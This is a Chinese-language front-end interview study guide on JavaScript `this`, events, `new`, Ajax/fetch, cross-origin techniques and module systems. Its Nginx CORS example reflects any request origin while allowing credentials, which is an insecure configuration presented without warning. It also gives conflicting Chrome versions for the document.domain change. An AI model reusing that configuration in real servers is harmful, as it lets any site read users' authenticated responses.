  • 按 Child.prototype = new Parent() 的写法,如果 Parent 里有 this.list = [],会出什么问题?

    list 在 Child.prototype 上,所有子实例共享同一个数组,一个 push 全员都变。而且 new Child() 时没法给 Parent 传参。

  • 寄生组合式继承手写一下关键几行?

    function Child(name) { Parent.call(this, name) },然后 Child.prototype = Object.create(Parent.prototype),Child.prototype.constructor = Child。父构造只调一次,原型上也没有多余的父类实例属性。

  • 子类 constructor 里先写 this.age = 1 再 super(),会怎样?

    直接报 ReferenceError。class 继承里子类的 this 是由父类构造创建的,super() 之前 this 还不存在,这是它和 ES5 继承最大的区别。

  • 为什么说 class 不完全是语法糖?

    ES5 写法继承不了 Array、Error 这些内置类的内部行为,比如 length 自动更新;class extends Array 可以。另外 class 默认严格模式、方法不可枚举、不能不加 new 直接调用。

  • 业务代码里继承层级你一般控制在几层?

    一般不超过两层,更多是用组合,把能力拆成函数或者对象混进来。继承链一深,改一个父类全线受影响,React 也是因为这个推荐组合而不是继承组件。

# 6 谈谈This对象的理解

⚡ 30 秒速记

  • 普通函数的 this 看调用方式,不看定义位置;箭头函数没有自己的 this,用外层的
  • 优先级:new > call / apply / bind > obj.fn() 方法调用 > 直接调用 fn()
  • 直接调用:非严格模式是 globalThis,严格模式(ES module、class 内部默认严格)是 undefined
  • 两个高频坑:const f = obj.fn; f() 丢 this;方法里套的普通回调函数也丢
  • bind 过的函数再 call 改不动,但 new 能盖过 bind;箭头函数谁都改不动
  • 第 53 题有八种调用方式的交互演示

普通函数的 this 是调用的时候才定的,说白了就是「点前面是谁就是谁」。 obj.say() 里是 obj,call(person) 就是 person,new 出来就是新实例,啥都没有的裸调用,非严格模式落到 window,严格模式是 undefined。箭头函数是例外,它压根没有自己的 this,写在哪就用外层那个,call 也改不了。实际踩坑最多的是把方法当回调传出去,比如 setTimeout(obj.say, 0),这时候已经是裸调用了,要么包一层箭头函数,要么 bind。

  • 在全局作用域中,this 指向全局对象(在浏览器环境中通常是 window 对象)。
  • 在函数中,this 的值取决于函数的调用方式。
    • 如果函数是作为对象的方法调用,this 指向调用该方法的对象。
    • 如果函数是作为普通函数调用,this 指向全局对象(非严格模式下)或 undefined(严格模式下)。
    • 如果函数是通过 call、apply 或 bind 方法调用,this 指向 call、apply 或 bind 方法的第一个参数所指定的对象。
    • 如果函数是作为构造函数调用(使用 new 关键字),this 指向新创建的对象。
  • 在箭头函数中,this 的值是继承自外部作用域的,它不会因为调用方式的改变而改变。

下面是一些示例代码,以说明 this 的不同情况:

// 全局作用域中的 this
console.log(this); // 输出: Window

// 对象方法中的 this
const obj = {
  name: 'poetry',
  sayHello: function() {
    console.log(`Hello, ${this.name}!`);
  }
};
obj.sayHello(); // 输出: Hello, poetry!

// 普通函数调用中的 this
function greeting() {
  console.log(`Hello, ${this.name}!`);
}
greeting(); // 输出: Hello, undefined (非严格模式下输出: Hello, [全局对象的某个属性值])

// 使用 call/apply/bind 改变 this
const person = {
  name: 'poetry'
};
greeting.call(person); // 输出: Hello, poetry!
greeting.apply(person); // 输出: Hello, poetry!
const boundGreeting = greeting.bind(person);
boundGreeting(); // 输出: Hello, poetry!

// 构造函数中的 this
function Person(name) {
  this.name = name;
}
const poetry = new Person('poetry');
console.log(poetry.name); // 输出: poetry

// 箭头函数中的 this
const arrowFunc = () => {
  console.log(this);
};
arrowFunc(); // 输出: Window

💬 面试官追问

  • const say = obj.say; say() 打印 undefined,为什么?

    赋值只是把函数本身拿出来了,调用时前面没有 obj.,就是一次裸调用。严格模式下 this 是 undefined,访问 this.name 直接报错;非严格模式落到 window,拿到的是 window.name,通常是空字符串。

  • fn.bind(a).call(b),里面的 this 是谁?

    还是 a。bind 返回的函数内部已经把 this 锁死了,后面再 call、apply、甚至再 bind 都改不了。唯一能盖过它的是 new,new 一个 bind 过的函数,this 会是新实例。

  • 对象里用箭头函数写方法,this.name 拿不到,怎么回事?

    { name: 'a', say: () => this.name } 里,对象字面量不产生作用域,箭头函数的外层就是模块顶层或全局,this 不是这个对象。对象方法用简写 say() {},箭头函数留给方法内部的回调用。

  • React 类组件里 onClick={this.handleClick},点了报 this 是 undefined,怎么改?

    事件触发时是裸调用,而 class 内部是严格模式,所以是 undefined。在构造函数里 this.handleClick = this.handleClick.bind(this),或者写成类字段箭头函数 handleClick = () => {},后者更常见。

  • setTimeout 里写普通函数访问 this,指向哪?

    浏览器里定时器回调是裸调用,非严格模式指向 window,严格模式下是 undefined。想用外层的 this,回调直接写成箭头函数就行。

# 7 事件模型

⚡ 30 秒速记

  • 三个阶段:捕获(window → 目标)→ 目标 → 冒泡(目标 → window)
  • addEventListener(type, fn, true) 或 { capture: true } 挂捕获,默认挂冒泡
  • stopPropagation() 拦传播,preventDefault() 拦默认行为,两件事互不相干
  • 事件委托靠冒泡:监听挂父元素,用 e.target.closest() 找真正点到的子元素
  • 不冒泡的事件:focus / blur(用 focusin / focusout)、mouseenter / mouseleave、load
  • 目标元素上的监听:Chrome 89 起也是先跑捕获再跑冒泡,不再按注册顺序

一次点击会先从 window 一路往下走到目标元素,这叫捕获,再从目标一路冒回 window,这叫冒泡。 addEventListener 第三个参数传 true 就在下行时触发,不传就在上行时触发,所以外层挂捕获、里层挂冒泡,外层反而先执行。冒泡最大的用处是事件委托,列表有一千条,只在 ul 上挂一个监听,用 e.target 判断点的是哪条,新加进来的条目也自动生效。还有一点要分清,stopPropagation 只是不让事件继续往上传,链接照样跳转,要拦跳转得用 preventDefault。

时序图 · 4 个参与者 / 6 步
alt btn 里调用了 stopPropagation正常冒泡windowwindow外层 outer外层 outer内层 inner内层 inner按钮 btn按钮 btn捕获阶段往下传1outer 挂了捕获监听,先执行继续往下,inner 只挂冒泡,不触发2到达目标3目标阶段,btn 的监听执行开始冒泡4传播到此为止,inner 不会触发inner 的冒泡监听执行继续往上5回到 window,冒泡结束6

事件流分为三个阶段:捕获阶段、目标阶段和冒泡阶段。

  1. 捕获阶段(Capture Phase):事件从最外层的父节点开始向下传递,直到达到目标元素的父节点。在捕获阶段,事件会经过父节点、祖父节点等,但不会触发任何事件处理程序。
  2. 目标阶段(Target Phase):事件到达目标元素本身,触发目标元素上的事件处理程序。如果事件有多个处理程序绑定在目标元素上,它们会按照添加的顺序依次执行。
  3. 冒泡阶段(Bubble Phase):事件从目标元素开始向上冒泡,传递到父节点,直到传递到最外层的父节点或根节点。在冒泡阶段,事件会依次触发父节点、祖父节点等的事件处理程序。

事件流的默认顺序是从目标元素的最外层父节点开始的捕获阶段,然后是目标阶段,最后是冒泡阶段。但是可以通过事件处理程序的绑定顺序来改变事件处理的执行顺序。

例如,以下代码演示了事件流的执行顺序:

<div id="outer">
  <div id="inner">
    <button id="btn">Click me</button>
  </div>
</div>
var outer = document.getElementById('outer');
var inner = document.getElementById('inner');
var btn = document.getElementById('btn');

outer.addEventListener('click', function() {
  console.log('Outer div clicked');
}, true); // 使用捕获阶段进行事件监听

inner.addEventListener('click', function() {
  console.log('Inner div clicked');
}, false); // 使用冒泡阶段进行事件监听

btn.addEventListener('click', function() {
  console.log('Button clicked');
}, false); // 使用冒泡阶段进行事件监听

当点击按钮时,事件的执行顺序如下:

  1. 捕获阶段:触发外层div的捕获事件处理程序。
  2. 目标阶段:触发按钮的事件处理程序。
  3. 冒泡阶段:触发内层div的冒泡事件处理程序。

输出结果为:

Outer div clicked
Button clicked
Inner div clicked

这个示例展示了事件流中捕获阶段、目标阶段和冒泡阶段的执行顺序。

可以通过addEventListener方法的第三个参数来控制事件处理函数在捕获阶段或冒泡阶段执行,true表示捕获阶段,false或不传表示冒泡阶段。

💬 面试官追问

  • 点了列表里的按钮,弹窗外层的「点空白关闭」也触发了,怎么处理?

    按钮的点击冒泡到了 document 上的关闭监听。别急着到处 stopPropagation,它会让别的委托监听也收不到;更好的是在关闭逻辑里判断 if (!modal.contains(e.target)) close()。

  • 事件委托时 e.target 有时拿到的是按钮里的 span 图标,怎么办?

    e.target 是最里层真正被点的那个元素。用 e.target.closest('button[data-id]') 往上找到想要的节点,再判断它是不是在当前容器里。e.currentTarget 则永远是挂监听的那个元素。

  • 想给一组输入框做委托,监听 focus 没反应,为什么?

    focus 和 blur 不冒泡,挂在父元素上冒泡阶段收不到。换成会冒泡的 focusin / focusout,或者用捕获阶段 addEventListener('focus', fn, true)。

  • stopPropagation 和 stopImmediatePropagation 区别在哪?

    前者只拦住往别的元素传,当前元素上后面注册的监听照样执行;后者连同一个元素上排在后面的监听也一起拦掉。

  • touchmove 里调 preventDefault() 不生效,控制台还报警告,为什么?

    Chrome 对 document 级别的 touchstart / touchmove 默认按 passive: true 处理,浏览器不等你的 JS 就直接滚动。真要拦滚动,注册时显式写 { passive: false }。

# 8 new操作符具体干了什么呢?

⚡ 30 秒速记

  • 四步:建空对象 → 原型指向 Fn.prototype → 用它当 this 执行 Fn → 返回值判断
  • 第四步是考点:构造函数 return 对象或函数就用它,return 基本类型被忽略
  • 手写:Object.create(Fn.prototype) + Fn.apply(obj, args),判断返回值时别漏了函数类型
  • 箭头函数、class 的方法、async 函数都不能 new;class 反过来必须 new
  • new.target 能在函数里判断自己是不是被 new 调用的

new 干的事就是造一个新对象,让它继承构造函数的原型,再拿它当 this 把构造函数跑一遍,最后把它交出去。 所以构造函数里 this.name = name 其实是往这个新对象上挂属性,原型上的方法实例也能直接用。容易被问倒的是最后一步:构造函数如果自己 return 了一个对象,new 的结果就是那个对象,新建的那个被扔掉;return 1 这种基本类型会被无视。手写的时候我会用 Object.create(Fn.prototype) 一步建好原型关系,比先 {} 再 setPrototypeOf 干净,后者还会让引擎的优化失效。

  • 创建一个空对象,并且 this 变量引用该对象,同时还继承了该函数的原型
  • 属性和方法被加入到 this 引用的对象中
  • 新创建的对象由 this 所引用,并且最后隐式的返回 this

实现一个简单的 new 方法,可以按照以下步骤进行操作:

  1. 创建一个新的空对象。
  2. 将新对象的原型链接到构造函数的原型对象。
  3. 将构造函数的作用域赋给新对象,以便在构造函数中使用 this 引用新对象。
  4. 执行构造函数,并将参数传递给构造函数。
  5. 如果构造函数没有显式返回一个对象,则返回新对象。
function myNew(constructor, ...args) {
  // 创建一个新的空对象
  const newObj = {};

  // 将新对象的原型链接到构造函数的原型对象
  Object.setPrototypeOf(newObj, constructor.prototype);

  // 将构造函数的作用域赋给新对象,并执行构造函数
  const result = constructor.apply(newObj, args);

  // 如果构造函数有显式返回一个对象,则返回该对象;否则返回新对象
  return typeof result === 'object' && result !== null ? result : newObj;
}

使用上述自定义的 myNew 方法,可以实现与 new 操作符类似的效果,如下所示:

function Person(name, age) {
  this.name = name;
  this.age = age;
}

Person.prototype.sayHello = function() {
  console.log('Hello, my name is ' + this.name);
};

var poetry = myNew(Person, 'poetry', 25);
console.log(poetry.name); // 输出: poetry
console.log(poetry.age); // 输出: 25
poetry.sayHello(); // 输出: Hello, my name is poetry

注意,这只是一个简化的实现,不考虑一些复杂的情况,例如原型链的继承和构造函数返回对象的情况。在实际应用中,建议使用内置的 new 操作符来创建对象实例,因为它处理了更多的细节和边界情况。

💬 面试官追问

  • 构造函数里写了 return { a: 1 },new 出来的实例还能用原型方法吗?

    不能。返回的是这个字面量对象,它的原型是 Object.prototype,和构造函数的 prototype 没关系,instanceof 也是 false。

  • 手写 myNew 用 typeof r === 'object' && r !== null 判断返回值,有什么漏洞?

    漏了函数。原生 new 里构造函数返回一个函数,结果就是那个函数。判断要写成 (typeof r === 'object' && r !== null) || typeof r === 'function',或者直接 r instanceof Object。

  • 箭头函数为什么不能 new?

    它没有 prototype 属性,也没有自己的 this,内部也没有 [[Construct]] 这个能力,new (() => {}) 直接抛 TypeError。对象简写方法 { f() {} } 也一样不能 new。

  • 怎么防止别人忘了写 new,直接 Person('a') 把属性挂到了 window 上?

    函数开头加 if (!new.target) return new Person(...arguments)。更省事的办法是直接用 class,忘了 new 会直接报错,不会悄悄污染全局。

  • new Person 和 new Person() 有区别吗?

    不传参时结果一样。区别在优先级:new Foo.bar() 是 new (Foo.bar)(),而 new Foo().bar() 是先 new Foo() 再调 bar,链式写法里最好加括号。

# 9 Ajax原理

⚡ 30 秒速记

  • 本质:JS 发异步请求拿数据,再局部改 DOM,页面不整刷
  • XHR 四步:new XMLHttpRequest() → open() → 监听 onreadystatechange / onload → send()
  • readyState:0 未 open、1 已 open、2 收到响应头、3 接收响应体、4 完成
  • 现在主答 fetch:基于 Promise,配 AbortController 能取消,AbortSignal.timeout() 做超时
  • fetch 的坑:404 / 500 不会 reject,要自己判 res.ok;跨域带 cookie 要写 credentials: 'include'
  • 要上传进度用 XHR 的 upload.onprogress,axios 在浏览器里底层还是 XHR

Ajax 说白了就是页面不刷新,用 JS 在后台发请求拿数据,回来以后只改需要变的那块 DOM。 老写法是 XMLHttpRequest:open 配好方法和地址,send 发出去,等 readyState 变成 4 再看 status。现在我一般直接用 fetch,Promise 写起来顺手,但它有个反直觉的地方:只要服务器有响应,哪怕是 500,fetch 也算成功,必须自己判断 res.ok。真正要用 XHR 的场景基本只剩上传进度条。

时序图 · 4 个参与者 / 9 步
alt status 在 200 到 299 之间4xx 或 5xx 或 status 为 0用户用户页面脚本页面脚本XHR 对象XHR 对象服务器服务器点击加载更多1new 一个实例并 open2注册 onreadystatechange 后 send3发出 HTTP 请求4主线程不阻塞,用户还能继续操作响应头到达,readyState 变 25响应体传输中,readyState 变 36readyState 变 4,触发回调7解析数据,局部更新列表8提示加载失败9
  • Ajax的原理简单来说是在用户和服务器之间加了—个中间层(AJAX引擎),通过XmlHttpRequest对象来向服务器发异步请求,从服务器获得数据,然后用javascript来操作DOM而更新页面。使用户操作与服务器响应异步化。这其中最关键的一步就是从服务器获得请求数据
  • Ajax的过程只涉及JavaScript、XMLHttpRequest和DOM。XMLHttpRequest是ajax的核心机制
// 手写简易ajax
/** 1. 创建连接 **/
var xhr = null;
xhr = new XMLHttpRequest()
/** 2. 连接服务器 **/
xhr.open('get', url, true)
/** 3. 发送请求 **/
xhr.send(null);
/** 4. 接受请求 **/
xhr.onreadystatechange = function(){
	if(xhr.readyState == 4){
		if(xhr.status == 200){
			success(xhr.responseText);
		} else {
			/** false **/
			fail && fail(xhr.status);
		}
	}
}
// promise封装
function ajax(url) {
  const p = new Promise((resolve, reject) => {
    const xhr = new XMLHttpRequest()
    xhr.open('GET', url, true)
    xhr.onreadystatechange = function () {
      if (xhr.readyState === 4) {
        if (xhr.status === 200) {
          resolve(
            JSON.parse(xhr.responseText)
          )
        } else if (xhr.status === 404 || xhr.status === 500) {
          reject(new Error('404 not found'))
        }
      }
    }
    xhr.send(null)
  })
  return p
}
// 测试
const url = '/data/test.json'
ajax(url)
  .then(res => console.log(res))
  .catch(err => console.error(err))

ajax 有那些优缺点?

  • 优点:
    • 通过异步模式,提升了用户体验.
    • 优化了浏览器和服务器之间的传输,减少不必要的数据往返,减少了带宽占用.
    • Ajax在客户端运行,承担了一部分本来由服务器承担的工作,减少了大用户量下的服务器负载。
    • Ajax可以实现动态不刷新(局部刷新)
  • 缺点:
    • 安全问题 AJAX暴露了与服务器交互的细节。
    • 对搜索引擎的支持比较弱。
    • 不容易调试。

💬 面试官追问

  • fetch 请求接口返回 500,catch 里却没捕获到,为什么?

    fetch 只在网络层失败时 reject,比如断网、DNS 失败、被 CORS 拦下。拿到了 HTTP 响应就算成功,要在 then 里写 if (!res.ok) throw new Error(res.status),一般封装在请求层统一处理。

  • 搜索框每输入一个字发一次请求,旧请求比新请求晚回来,结果被覆盖了,怎么办?

    每次发新请求前把上一个 AbortController 给 abort() 掉,被取消的请求会以 AbortError 进 catch,记得忽略它。再配合防抖,请求数也能降下来。

  • 文件上传要显示进度条,用 fetch 能做吗?

    上传进度 fetch 目前做不了,用 XHR 的 xhr.upload.onprogress,拿 loaded / total 算百分比。下载进度 fetch 倒是可以读 res.body 这个流自己累加。

  • readyState 等于 4 了,就代表请求成功吗?

    不是,4 只表示这次请求结束了,404、500 甚至网络错误也会走到 4。网络错误时 status 是 0,所以还要判断 status >= 200 && status < 300。

  • 原生 fetch 怎么做超时?

    fetch(url, { signal: AbortSignal.timeout(5000) }),到时间自动取消,抛 TimeoutError。老浏览器不支持就自己 new AbortController() 配 setTimeout 调 abort()。

# 10 如何解决跨域问题?

⚡ 30 秒速记

  • 成因:同源策略拦的是「浏览器读跨源响应」,请求其实已经发到服务器了
  • 首选 CORS:服务端返回 Access-Control-Allow-Origin;非简单请求先发 OPTIONS 预检
  • 带 cookie:前端 credentials: 'include',后端 Allow-Origin 写具体域名 + Allow-Credentials: true,不能用 *
  • 代理:开发期 devServer.proxy,线上 Nginx 反代到同域,浏览器根本不知道跨域了
  • 页面间通信是另一类问题:postMessage;JSONP 只能 GET 且有安全风险,document.domain 在 Chrome 115 起默认不能改了
  • 先分清是「调接口跨域」还是「两个页面要通信」,再给方案

跨域我优先让后端配 CORS,改不了后端就走同域代理。 先说清楚一个点:跨域报错时请求往往已经到服务器了,只是浏览器不让 JS 读响应,所以光看服务端日志有请求不代表没问题。CORS 就是服务器用响应头告诉浏览器「这个源可以读」,带 JSON 的 POST、自定义头这些非简单请求会先发一个 OPTIONS 预检。线上我更喜欢 Nginx 把 /api 反代到后端,前端和接口同域,cookie、预检这些麻烦一起没了。

时序图 · 3 个参与者 / 8 步
alt 服务端允许该源和方法预检响应缺少允许的头页面 a.com页面 a.com浏览器浏览器接口 api.b.com接口 api.b.comfetch 发 PUT 请求,带 JSON 和自定义头1非简单请求,先预检OPTIONS 预检,带 Origin 和要用的方法、头2204,返回 Allow-Origin、Allow-Methods、Max-Age3发出真正的 PUT 请求4200,响应头带 Allow-Origin5把响应交给 JS6返回但没有 Allow-Origin7控制台报 CORS 错误,真正的请求不再发送8

首先了解下浏览器的同源策略 同源策略/SOP(Same origin policy)是一种约定,由Netscape公司1995年引入浏览器,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,浏览器很容易受到XSS、CSRF等攻击。所谓同源是指"协议+域名+端口"三者相同,即便两个不同的域名指向同一个ip地址,也非同源

1. 通过jsonp跨域

封装一个可用的 JSONP 方法,可以参考以下示例代码:

function jsonp(url, params, callback) {
  // 生成唯一的回调函数名
  const callbackName = 'jsonp_' + Date.now();

  // 将参数拼接到 URL 中
  const queryString = Object.keys(params)
    .map(key => encodeURIComponent(key) + '=' + encodeURIComponent(params[key]))
    .join('&');

  // 创建 script 元素
  const script = document.createElement('script');
  script.src = url + '?' + queryString + '&callback=' + callbackName;

  // 定义回调函数
  window[callbackName] = function(data) {
    // 调用回调函数
    callback(data);

    // 删除 script 元素和回调函数
    document.head.removeChild(script);
    delete window[callbackName];
  };

  // 将 script 元素添加到页面中
  document.head.appendChild(script);
}

使用示例:

jsonp('http://www.example.com/api', { user: 'admin' }, function(data) {
  console.log(data);
});

这个 jsonp 函数接受三个参数:URL、参数对象和回调函数。它会生成一个唯一的回调函数名,并将参数拼接到 URL 中。然后创建一个 <script> 元素,并将 URL 设置为带有回调函数名的 URL。定义一个全局的回调函数,当响应返回时调用该回调函数,并将数据传递给回调函数。最后将 <script> 元素添加到页面中,触发跨域请求。当请求完成后,删除 <script> 元素和回调函数。

这样,你就可以通过封装的 JSONP 方法来实现跨域请求并获取响应数据了。

2. document.domain + iframe跨域

自 Chrome 101 版本开始,document.domain 将变为可读属性,也就是意味着上述这种跨域的方式被禁用了

此方案仅限主域相同,子域不同的跨域应用场景

1.)父窗口:(http://www.domain.com/a.html)

<iframe id="iframe" src="http://child.domain.com/b.html"></iframe>
<script>
    document.domain = 'domain.com';
    var user = 'admin';
</script>

2.)子窗口:(http://child.domain.com/b.html)

document.domain = 'domain.com';
// 获取父窗口中的变量
alert('get js data from parent ---> ' + window.parent.user);

3. nginx代理跨域

通过 Nginx 配置反向代理,将跨域请求转发到同源接口,从而避免浏览器的同源策略限制。

下面是一个示例配置,展示了如何通过 Nginx 实现跨域代理:

server {
  listen 80;
  server_name your-domain.com;

  location /api {
    # 设置代理目标地址
    proxy_pass http://api.example.com;

    # 设置允许的跨域请求头
    add_header Access-Control-Allow-Origin $http_origin;
    add_header Access-Control-Allow-Methods "GET, POST, OPTIONS";
    add_header Access-Control-Allow-Credentials true;
    add_header Access-Control-Allow-Headers "Origin, X-Requested-With, Content-Type, Accept";

    # 处理预检请求(OPTIONS 请求)
    if ($request_method = OPTIONS) {
      return 200;
    }
  }
}

在上面的示例中,假设你的域名是 your-domain.com,需要代理访问 api.example.com。你可以将这个配置添加到 Nginx 的配置文件中。

这个配置会将 /api 路径下的请求代理到 http://api.example.com。同时,通过添加 Access-Control-Allow-* 头部,允许跨域请求的来源、方法、头部等。

这样,当你在前端发送请求到 /api 路径时,Nginx 会将请求代理到 http://api.example.com,并在响应中添加跨域相关的头部,从而解决跨域问题。注意要根据实际情况进行配置,包括监听的端口、域名和代理的目标地址等。

4. nodejs中间件代理跨域

使用 Node.js 构建一个中间件,在服务器端代理请求,将跨域请求转发到同源接口,然后将响应返回给前端。

可以使用 http-proxy-middleware 模块来创建一个简单的代理服务器。下面是一个示例代码:

const express = require('express');
const { createProxyMiddleware } = require('http-proxy-middleware');

const app = express();

// 创建代理中间件
const apiProxy = createProxyMiddleware('/api', {
  target: 'http://api.example.com', // 设置代理目标地址
  changeOrigin: true, // 修改请求头中的 Origin 为目标地址
  pathRewrite: {
    '^/api': '', // 重写请求路径,去掉 '/api' 前缀
  },
  // 可选的其他配置项...
});

// 将代理中间件应用到 '/api' 路径
app.use('/api', apiProxy);

// 启动服务器
app.listen(3000, () => {
  console.log('Proxy server is running on port 3000');
});

在上面的示例中,首先使用 express 框架创建一个服务器实例。然后,使用 http-proxy-middleware 模块创建一个代理中间件。通过配置代理中间件的 target 选项,将请求代理到目标地址 http://api.example.com。

你可以通过其他可选的配置项来进行更多的定制,例如修改请求头、重写请求路径等。在这个示例中,我们将代理中间件应用到路径 /api 下,即当请求路径以 /api 开头时,会被代理到目标地址。

最后,启动服务器并监听指定的端口(这里是 3000)。

请确保你已经安装了 express 和 http-proxy-middleware 模块,并将上述代码保存为一个文件(例如 proxy-server.js)。然后通过运行 node proxy-server.js 来启动代理服务器。

现在,当你在前端发送请求到 /api 路径时,Node.js 代理服务器会将请求转发到 http://api.example.com,从而实现跨域访问。记得根据实际情况修改目标地址和端口号。

5. 后端在头部信息里面设置安全域名

后端可以在响应的头部信息中设置 Access-Control-Allow-Origin 字段,指定允许跨域访问的域名。例如,在 Node.js 中可以使用 cors 模块来实现:

const express = require('express');
const cors = require('cors');

const app = express();

// 允许所有域名跨域访问
app.use(cors());

// 其他路由和逻辑处理...

app.listen(3000, () => {
  console.log('Server is running on port 3000');
});

6. 通过webpack devserver代理

使用 webpack-dev-server 的代理功能可以实现在开发过程中的跨域请求。你可以配置 devServer 对象中的 proxy 选项来设置代理。下面是一个示例配置:

module.exports = {
  // 其他配置项...
  devServer: {
    proxy: {
      '/api': {
        target: 'http://api.example.com', // 设置代理目标地址
        pathRewrite: { '^/api': '' }, // 重写请求路径,去掉 '/api' 前缀
        changeOrigin: true, // 修改请求头中的 Origin 为目标地址
      },
    },
  },
};

在上面的示例中,我们配置了一个代理,将以 /api 开头的请求转发到 http://api.example.com。通过 pathRewrite 选项,我们去掉了请求路径中的 /api 前缀,以符合目标地址的接口路径。

将上述配置添加到你的 webpack.config.js 文件中,然后启动 webpack-dev-server。现在,当你在前端发送以 /api 开头的请求时,webpack-dev-server 会将请求转发到目标地址,并返回响应结果。

注意,这里的配置是针对开发环境下的代理,当你构建生产环境的代码时,代理配置不会生效。

请确保你已经安装了 webpack-dev-server,并在你的 package.json 文件的 scripts 中添加启动命令,例如:

{
  "scripts": {
    "start": "webpack-dev-server --open"
  }
}

运行 npm start 或 yarn start 来启动 webpack-dev-server。

这样,通过配置 webpack-dev-server 的代理,你就可以在开发过程中实现跨域请求。记得根据实际情况修改目标地址和请求路径。

7. CORS(跨域资源共享)

在服务端设置响应头部,允许特定的域名或所有域名访问该资源。可以通过在响应头部中设置 Access-Control-Allow-Origin 字段来指定允许访问的域名。

示例代码(Node.js + Express):

const express = require('express');
const app = express();

// 允许所有域名访问
app.use((req, res, next) => {
  res.setHeader('Access-Control-Allow-Origin', '*');
  next();
});

// 路由和处理逻辑
// ...

app.listen(3000, () => {
  console.log('Server is running on port 3000');
});

8. WebSocket

使用 WebSocket 协议进行通信,WebSocket 不受同源策略限制,因此可以在不同域之间进行双向通信。

示例代码(JavaScript):

const socket = new WebSocket('ws://example.com/socket');

socket.onopen = () => {
  console.log('WebSocket connection established.');
  // 发送数据
  socket.send('Hello, server!');
};

socket.onmessage = (event) => {
  console.log('Received message from server:', event.data);
};

socket.onclose = () => {
  console.log('WebSocket connection closed.');
};

9. 代理服务器

在同一域名下,前端通过发送请求给同域下的代理服务器,然后由代理服务器转发请求到目标服务器,并将响应返回给前端,实现跨域请求。

示例代码(Node.js + Express):

const express = require('express');
const axios = require('axios');
const app = express();

app.get('/api/data', (req, res) => {
  // 向目标服务器发送请求
  axios.get('http://api.example.com/data')
    .then((response) => {
      // 将目标服务器的响应返回给前端
      res.json(response.data);
    })
    .catch((error) => {
      res.status(500).json({ error: 'An error occurred' });
    });
});

app.listen(3000, () => {
  console.log('Server is running on port 3000');
});

💬 面试官追问

  • 后端说 Access-Control-Allow-Origin: * 已经加了,前端带 cookie 还是报跨域,为什么?

    带凭证的请求不接受 *,必须回显具体的 Origin,再加 Access-Control-Allow-Credentials: true。前端也要写 credentials: 'include' 或 withCredentials = true,三处缺一不可。

  • 每个接口都多一个 OPTIONS 请求,接口慢了一倍,能优化吗?

    后端加 Access-Control-Max-Age 让浏览器缓存预检结果,Chrome 上限是 7200 秒。根治就是同域部署走反代,没有跨域也就没有预检。

  • Network 面板看到请求 200,控制台却报 CORS 错误,到底成没成?

    服务器处理成功了,只是响应里缺了允许的头,浏览器把结果扣下了。所以写操作类接口要小心,数据可能已经落库了,前端却以为失败又重试一次。

  • 嵌在 iframe 里的子系统要把登录状态告诉父页面,怎么做?

    用 window.parent.postMessage(data, 'https://parent.com'),父页面监听 message 时一定校验 e.origin。不校验来源等于谁都能给你发消息。

  • JSONP 为什么现在不建议用了?

    它本质是加载一段对方返回的脚本并执行,对方接口被篡改就能在你页面里跑任意代码,而且只能 GET、错误也不好捕获。现在所有浏览器都支持 CORS,没理由再用。

# 11 模块化开发怎么做?

⚡ 30 秒速记

  • 演进:全局函数 → 命名空间 → IIFE → CommonJS / AMD / CMD → UMD → ESM
  • 今天的答案是 ESM:静态 import / export,能 Tree Shaking,浏览器和 Node 都原生支持
  • ESM 导出是活绑定,CJS 的 require 拿到的是 module.exports 这个对象,基本类型赋值是一份快照
  • AMD / CMD 提一句就行,属于历史
  • 库要同时出 ESM + CJS 两份,用 package.json 的 exports 声明入口

模块化就是把代码拆成一个个有自己作用域的文件,谁要用什么就显式导入,不靠全局变量互相找。 早年浏览器没有模块,只能用 IIFE 包一层藏私有变量,后来 Node 有了 CommonJS,浏览器有了 RequireJS。现在统一用 ES Module,它最大的好处是依赖在编译期就能分析出来,打包工具才能把没用到的导出删掉。实际项目里我会注意两件事:别写一个 index.js 把所有东西都 export * 出去,会拖累按需加载;还有循环依赖要尽早拆掉。

当涉及模块化开发时,有多种方法可供选择:

1. 立即执行函数模式:

  • 使用立即执行函数来创建模块,将私有成员放在函数作用域内,不直接暴露给外部。
  • 通过返回一个包含公共方法的对象,使这些方法可以在外部访问。
var module = (function() {
  var privateVar = 'Private Variable';

  function privateMethod() {
    console.log('This is a private method');
  }

  function publicMethod() {
    console.log('This is a public method');
  }

  return {
    publicMethod: publicMethod
  };
})();

module.publicMethod(); // Output: This is a public method

2. CommonJS:

  • 使用 require 导入模块,使用 module.exports 或 exports 导出模块。
  • 适用于 Node.js 环境。
// math.js
function add(a, b) {
  return a + b;
}

function subtract(a, b) {
  return a - b;
}

module.exports = {
  add,
  subtract
};
// app.js
const math = require('./math');

console.log(math.add(2, 3)); // Output: 5
console.log(math.subtract(5, 2)); // Output: 3

3. ES Modules:

  • 使用 import 导入模块,使用 export 导出模块。
  • 适用于现代浏览器环境和支持 ES6 模块的工具链。
// math.js
export function add(a, b) {
  return a + b;
}

export function subtract(a, b) {
  return a - b;
}
// app.js
import { add, subtract } from './math';

console.log(add(2, 3)); // Output: 5
console.log(subtract(5, 2)); // Output: 3

4. AMD(Asynchronous Module Definition):

  • 使用 define 定义模块,通过异步加载模块。
  • 适用于浏览器环境和需要按需加载模块的场景。
// math.js
define([], function() {
  function add(a, b) {
    return a + b;
  }

  function subtract(a, b) {
    return a - b;
  }

  return {
    add,
    subtract
  };
});
// app.js
require(['math'], function(math) {
  console.log(math.add(2, 3)); // Output: 5
  console.log(math.subtract(5, 2)); // Output: 3
});

以上是常见的模块化开发方式,每种方式都有自己的特点和使用场景,可以根据具体需求选择适合的模块化规范。

💬 面试官追问

  • 为什么 ESM 能 Tree Shaking,CommonJS 不行?

    ESM 的 import 必须写在顶层、路径是字面量,打包工具不运行代码就知道用了哪些导出。require 可以写在 if 里、路径可以拼字符串,只有运行时才知道,工具只能整个保留。

  • a.js 导出 let count = 0 和一个 inc(),调完 inc() 后另一个文件读到的 count 是几?

    ESM 读到 1,因为 import 是指向原变量的活绑定。CJS 里如果写的是 module.exports = { count, inc },读到的还是 0,导出时只复制了当时的值。

  • 两个模块互相 import,有一边拿到 undefined,怎么排查?

    是循环依赖,先执行的那个模块在对方还没跑完时就去读它的导出了。可以用 madge --circular 扫出环,把公共部分抽到第三个模块里,别靠调整 import 顺序碰运气。

  • Node 项目里 require 一个只发了 ESM 的包报错,怎么办?

    老版本 Node 只能改用动态 import(),或者把项目切成 "type": "module"。Node 22 之后的版本已经支持 require() 同步加载没有顶层 await 的 ESM 模块,升级也是个办法。

